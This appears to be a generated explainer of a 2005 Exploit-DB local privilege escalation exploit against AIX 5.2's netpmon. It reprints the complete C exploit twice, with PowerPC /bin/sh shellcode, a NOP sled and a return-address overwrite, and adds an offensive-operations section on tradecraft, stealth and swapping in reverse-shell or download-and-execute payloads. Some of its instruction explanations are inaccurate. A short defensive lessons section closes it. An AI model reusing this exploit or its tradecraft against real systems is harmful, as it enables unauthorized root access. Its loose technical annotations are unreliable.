AIX 5.2 'netpmon' Local Privilege Escalation Explained

AIX 5.2 'netpmon' Local Privilege Escalation Explained
What this paper is
This paper details a local privilege escalation vulnerability in IBM AIX version 5.2. The exploit targets the netpmon utility, allowing a local user to gain elevated privileges, typically root. The vulnerability stems from how netpmon handles environment variables, specifically when constructing its internal buffers.
Simple technical breakdown
The netpmon utility, when run with certain arguments, copies data from environment variables into fixed-size internal buffers. If an attacker can control the content and size of an environment variable, they can overflow these buffers. This overflow can overwrite critical program data, such as return addresses on the stack. By carefully crafting an environment variable with a malicious payload (shellcode) and a controlled return address, an attacker can redirect the program's execution flow to their shellcode, thus executing arbitrary code with the privileges of the netpmon process.
Complete code and payload walkthrough
The provided C code is an exploit for the AIX netpmon vulnerability. Let's break down its components.
shellcode_binsh
This is a byte array containing PowerPC assembly instructions. Its purpose is to execute /bin/sh, effectively giving the attacker a shell.
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel <shellcode> */
"\x7f\xe8\x02\xa6" /* mflr r31 */
"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca */
"/bin/sh"
"\x05";xor. r5,r5,r5: Initializes registerr5to zero. This is a common way to get a zero value.bnel <shellcode>: This instruction is a branch if not equal. Givenr5is zero, this branch will likely not be taken initially, but it's part of a common shellcode pattern.mflr r31: Moves the Link Register (LR) intor31. The LR typically holds the return address of the current function.cal r31,0x120(r31): Adds an offset tor31. This is a way to calculate an address relative to the current instruction pointer or stack frame.cal r3,-248(r31)andcal r4,-240(r31): These instructions calculate addresses for storing data.st r3,-240(r31)andst r5,-236(r31): Store values from registersr3andr5into memory at offsets relative tor31. This is setting up arguments or data structures.lbz r2,-241(r31): Loads a byte from memory intor2.stb r5,-241(r31): Stores a byte fromr5into memory. This sequence likely manipulates a string or buffer.crorc cr6,cr6,cr6: A bitwise operation on condition registers, often used as a no-op or to ensure a specific state.svca: System Call Assist. This is a PowerPC instruction that initiates a system call. In this context, it's likely used to invoke theexecvesystem call to run/bin/sh."/bin/sh": This string literal is part of the shellcode, representing the command to be executed."\x05": A null terminator for the string.
Mapping:
shellcode_binshbytes -> PowerPC shellcode to execute/bin/sh."/bin/sh"string -> The command to be executed by the shellcode.
cex_load_environment function
This function prepares the environment variables and the buffer that will be passed to netpmon.
unsigned long cex_load_environment(char *env_buffer, char *address_buffer, char *payload, int environment_size, int buffer_size) {
int count, env_size = strlen(payload) + environment_size + 4 + 1;
unsigned long address, *ret_addressp;
if (DEBUG) printf("Adding nops to environment buffer...");
for ( count = 0; count < env_size - strlen(payload) - 1; count++ ) {
*(env_buffer++) = NOP; // NOP is 0x60
}
if (DEBUG) printf("size %d...\n", count);
if (DEBUG) printf("Adding payload to environment buffer...");
for ( count = 0; count < strlen(payload); count++ ) {
*(env_buffer++) = payload[count];
}
if (DEBUG) printf("size %d...\n", count);
env_buffer[env_size - 1] = '\0'; // Null terminate the environment variable string
memcpy(env_buffer, "CAU=", 4); // Prepend a prefix to the environment variable
memset(address_buffer, 'A', buffer_size); // Fill the buffer with 'A's
address = ADDRESS; // ADDRESS is 0x2ff22fff - (BUFFERSIZE/2)
if (DEBUG) printf("Going for address @ 0x%lx\n", address);
if (DEBUG) printf("Adding return address to buffer...");
ret_addressp = (unsigned long *)(address_buffer+3); // Point to an offset within the buffer
for ( count = 0; count < buffer_size; count += 4) {
*(ret_addressp++) = address; // Overwrite with the target address
}
if (DEBUG) printf("size %d...\n", count);
address_buffer[buffer_size - 1] = '\0'; // Null terminate the buffer
return( 0 );
}env_size = strlen(payload) + environment_size + 4 + 1;: Calculates the total size needed for the environment variable. It includes the payload, a fixedenvironment_size(likely for padding/NOPs), a 4-byte prefix ("CAU="), and a null terminator.for ( count = 0; count < env_size - strlen(payload) - 1; count++ ) { *(env_buffer++) = NOP; }: Fills the beginning ofenv_bufferwithNOPinstructions (byte0x60). This creates a "NOP sled" to increase the chances of landing on the shellcode.for ( count = 0; count < strlen(payload); count++ ) { *(env_buffer++) = payload[count]; }: Appends the actual shellcode (shellcode_binsh) to theenv_buffer.env_buffer[env_size - 1] = '\0';: Null-terminates the constructed environment variable string.memcpy(env_buffer, "CAU=", 4);: Prepends "CAU=" to the environment variable. This is likely a specific format expected bynetpmonor a way to ensure the variable is processed.memset(address_buffer, 'A', buffer_size);: Fills theaddress_bufferwith 'A' characters. This buffer is intended to overwrite the return address.address = ADDRESS;: Sets the target return address.ADDRESSis defined as0x2ff22fff - (BUFFERSIZE/2), which is a guess at a stack location on AIX 5.2.ret_addressp = (unsigned long *)(address_buffer+3);: Pointsret_addresspto an offset withinaddress_buffer. The+3is a small offset, likely to align with the start of where the return address is expected to be overwritten.for ( count = 0; count < buffer_size; count += 4) { *(ret_addressp++) = address; }: This loop overwrites theaddress_bufferwith the targetaddressrepeatedly. Sinceaddress_bufferis filled with 'A's, this effectively overwrites the 'A's with the target address, aiming to control the return address on the stack. Thecount += 4is because addresses are typically 4 bytes on this architecture.address_buffer[buffer_size - 1] = '\0';: Null-terminates theaddress_buffer.
Mapping:
env_buffer-> Buffer for the crafted environment variable.address_buffer-> Buffer to hold the overwritten return addresses.payload-> The shellcode to be executed.environment_size-> Padding/NOPs for the environment variable.buffer_size-> Size of the buffer for return addresses.NOP->0x60byte, used for NOP sled.ADDRESS-> Target return address on the stack."CAU="-> Prefix for the environment variable.'A'characters -> Padding in the return address buffer.
main function
This is the entry point of the exploit program.
int main()
{
char *buffer, *egg;
char *args[3], *envs[2];
buffer = (char *)malloc(BUFFERSIZE); // Allocate memory for the return address buffer
egg = (char *)malloc(EGGSIZE); // Allocate memory for the environment variable buffer
cex_load_environment(egg, buffer, (char *)&shellcode_binsh, EGGSIZE, BUFFERSIZE); // Prepare buffers
args[0] = "/usr/bin/netpmon"; // Path to the vulnerable executable
args[1] = "-O"; // Argument to trigger vulnerable behavior
args[2] = buffer; // Pass the crafted buffer as an argument (likely ignored but required by execve)
args[3] = NULL; // Null terminator for arguments array
envs[0] = egg; // Pass the crafted environment variable
envs[1] = NULL; // Null terminator for environment variables array
execve( "/usr/bin/netpmon", args, envs ); // Execute the vulnerable program
return( 0 );
}buffer = (char *)malloc(BUFFERSIZE);: Allocates memory for the buffer that will contain the overwritten return addresses.BUFFERSIZEis 2048.egg = (char *)malloc(EGGSIZE);: Allocates memory for the environment variable, which will contain the NOP sled and shellcode.EGGSIZEis 2048.cex_load_environment(egg, buffer, (char *)&shellcode_binsh, EGGSIZE, BUFFERSIZE);: Calls the function to populateeggwith the shellcode andbufferwith the target return addresses.args[0] = "/usr/bin/netpmon";: Sets the path to the executable to be run.args[1] = "-O";: Sets an argument fornetpmon. The-Oflag is likely what triggers the vulnerable buffer handling.args[2] = buffer;: Passes thebufferas another argument. While this buffer is primarily for controlling the return address, it's passed here as part of theexecvecall.args[3] = NULL;: Marks the end of the argument list.envs[0] = egg;: Sets the crafted environment variable (egg) to be passed tonetpmon.envs[1] = NULL;: Marks the end of the environment variable list.execve( "/usr/bin/netpmon", args, envs );: This is the core system call. It replaces the current process image with/usr/bin/netpmon, passing the prepared arguments and environment variables. If the exploit is successful,netpmonwill execute the shellcode.
Mapping:
buffer-> Memory for return address overflow.egg-> Memory for environment variable payload.args-> Array of command-line arguments forexecve.envs-> Array of environment variables forexecve."/usr/bin/netpmon"-> Target executable."-O"-> Argument to trigger vulnerability.execve-> System call to execute the target program.
Practical details for offensive operations teams
- Required Access Level: Local user access to the target AIX system. No special privileges are needed initially.
- Lab Preconditions:
- A target AIX 5.2 system.
- The
netpmonexecutable must be present and SUID root (or have privileges that can be escalated). - Network connectivity is not required for this local exploit.
- The compiler (e.g.,
gccorxlcon AIX) must be available to compile the exploit C code.
- Tooling Assumptions:
- A C compiler for AIX (PowerPC architecture).
- Standard AIX utilities (
malloc,strlen,memcpy,memset,execve). - Exploit-DB or a similar repository to retrieve the exploit code.
- Execution Pitfalls:
- Address Guessing: The
ADDRESSconstant (0x2ff22fff - (BUFFERSIZE/2)) is a guess. The actual stack layout can vary based on AIX version, kernel patches, and system configuration. If the target address is wrong, the exploit will likely crash thenetpmonprocess without escalating privileges. - Buffer Sizes:
BUFFERSIZEandEGGSIZEmight need tuning. If they are too small, the overflow might not reach the return address or the shellcode might not fit. If they are too large, they might cause memory allocation issues or be detected. - NOP Sled Effectiveness: The NOP sled helps, but if the overflow lands precisely on the shellcode without hitting NOPs, it can still work. However, a good NOP sled increases reliability.
- ASLR/DEP: Older AIX versions might not have robust Address Space Layout Randomization (ASLR) or Data Execution Prevention (DEP), making address prediction easier. If these are present, the exploit would need significant modification (e.g., information leaks or return-oriented programming).
netpmonVersion Specificity: This exploit is specific to AIX 5.2. Newer versions or different AIX releases might have patched this vulnerability or have different memory layouts.- Argument/Environment Handling: The exact way
netpmonprocesses arguments and environment variables can change between versions, affecting the exploit's viability.
- Address Guessing: The
- Tradecraft Considerations:
- Reconnaissance: Confirm the AIX version and the presence/permissions of
netpmon. - Testing: Thoroughly test the exploit in a lab environment matching the target's configuration before deployment.
- Payload Customization: The
/bin/shpayload is basic. For more advanced operations, a custom payload (e.g., reverse shell, download-and-execute) would be needed. - Stealth:
execveis a standard system call. The telemetry might appear as a legitimate execution ofnetpmon. However, the unusual arguments and environment variables could be a signature.
- Reconnaissance: Confirm the AIX version and the presence/permissions of
Where this was used and when
- Context: This exploit was likely used by security researchers and potentially malicious actors to gain elevated privileges on AIX 5.2 systems.
- Timeframe: Published in June 2005. The vulnerability would have existed prior to this date, and exploitation would have occurred around this period. AIX 5.2 was released around 2002.
Defensive lessons for modern teams
- Environment Variable Security: Be extremely cautious about how applications process and use environment variables, especially those that can be influenced by external input. Avoid copying untrusted environment data into fixed-size buffers without proper bounds checking.
- Input Validation: Always validate and sanitize all inputs, including command-line arguments and environment variables, before using them in sensitive operations.
- Secure Coding Practices: Developers should be aware of buffer overflow vulnerabilities and employ secure coding techniques (e.g., using safe string functions, bounds checking).
- Regular Patching: Keep operating systems and applications updated with the latest security patches to mitigate known vulnerabilities. AIX 5.2 is a very old version and should not be in production.
- Privilege Separation: Applications should run with the minimum privileges necessary. If
netpmondoesn't strictly need to be SUID root, its privileges should be reduced. - Runtime Protections: Modern operating systems often include ASLR, DEP, and stack canaries, which make classic buffer overflow exploits much harder. Understanding and leveraging these defenses is crucial.
- Auditing and Monitoring: Monitor system logs for unusual process executions, especially those involving sensitive binaries like
netpmon, and for suspicious environment variable usage.
ASCII visual (if applicable)
This exploit relies on overwriting the stack. A simplified view of the stack during the execve call might look like this:
+-------------------+
| Return Address | <--- Target for overwrite
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables |
+-------------------+
| ... |
+-------------------+
| Argument Buffer | <--- Controlled by exploit (e.g., "AAAAAAAA...")
+-------------------+
| Environment | <--- Controlled by exploit (e.g., "CAU=...NOPs...Shellcode")
+-------------------+When netpmon is executed, it might copy data from the environment into a buffer on the stack. If this copy is not bounds-checked, it can overflow and overwrite the return address.
+-------------------+
| Return Address | <--- Overwritten by exploit's target address
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables |
+-------------------+
| ... |
+-------------------+
| Argument Buffer |
+-------------------+
| Environment |
+-------------------+
|
v
+-------------------+
| Netpmon Buffer | <--- Overflowing into the stack
+-------------------+
| ... |
+-------------------+
| Return Address | <--- Overwritten
+-------------------+Source references
- Paper: AIX 5.2 - 'netpmon' Local Privilege Escalation
- Author: intropy
- Published: 2005-06-14
- Exploit-DB URL: https://www.exploit-db.com/papers/1044
- Raw Exploit URL: https://www.exploit-db.com/raw/1044
Original Exploit-DB Content (Verbatim)
/*
*
* IBM AIX netpmon elevated privileges exploit
*
* I just wanted to play with PowerPC (Tested on 5.2)
*
* intropy (intropy <at> caughq.org)
*
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define DEBUG 1
#define BUFFERSIZE 2048
#define EGGSIZE 2048
#define NOP 0x60
#define ADDRESS 0x2ff22fff-(BUFFERSIZE/2)
char shellcode_binsh[] =
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel <shellcode> */
"\x7f\xe8\x02\xa6" /* mflr r31 */
"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca */
"/bin/sh"
"\x05";
unsigned long cex_load_environment(char *env_buffer, char *address_buffer, char *payload, int environment_size, int buffer_size) {
int count, env_size = strlen(payload) + environment_size + 4 + 1;
unsigned long address, *ret_addressp;
if (DEBUG) printf("Adding nops to environment buffer...");
for ( count = 0; count < env_size - strlen(payload) - 1; count++ ) {
*(env_buffer++) = NOP;
}
if (DEBUG) printf("size %d...\n", count);
if (DEBUG) printf("Adding payload to environment buffer...");
for ( count = 0; count < strlen(payload); count++ ) {
*(env_buffer++) = payload[count];
}
if (DEBUG) printf("size %d...\n", count);
env_buffer[env_size - 1] = '\0';
memcpy(env_buffer, "CAU=", 4);
memset(address_buffer, 'A', buffer_size);
address = ADDRESS;
if (DEBUG) printf("Going for address @ 0x%lx\n", address);
if (DEBUG) printf("Adding return address to buffer...");
ret_addressp = (unsigned long *)(address_buffer+3);
for ( count = 0; count < buffer_size; count += 4) {
*(ret_addressp++) = address;
}
if (DEBUG) printf("size %d...\n", count);
address_buffer[buffer_size - 1] = '\0';
return( 0 );
}
int main()
{
char *buffer, *egg;
char *args[3], *envs[2];
buffer = (char *)malloc(BUFFERSIZE);
egg = (char *)malloc(EGGSIZE);
cex_load_environment(egg, buffer, (char *)&shellcode_binsh, EGGSIZE, BUFFERSIZE);
args[0] = "/usr/bin/netpmon";
args[1] = "-O";
args[2] = buffer;
args[3] = NULL;
envs[0] = egg;
envs[1] = NULL;
execve( "/usr/bin/netpmon", args, envs );
return( 0 );
}
// milw0rm.com [2005-06-14]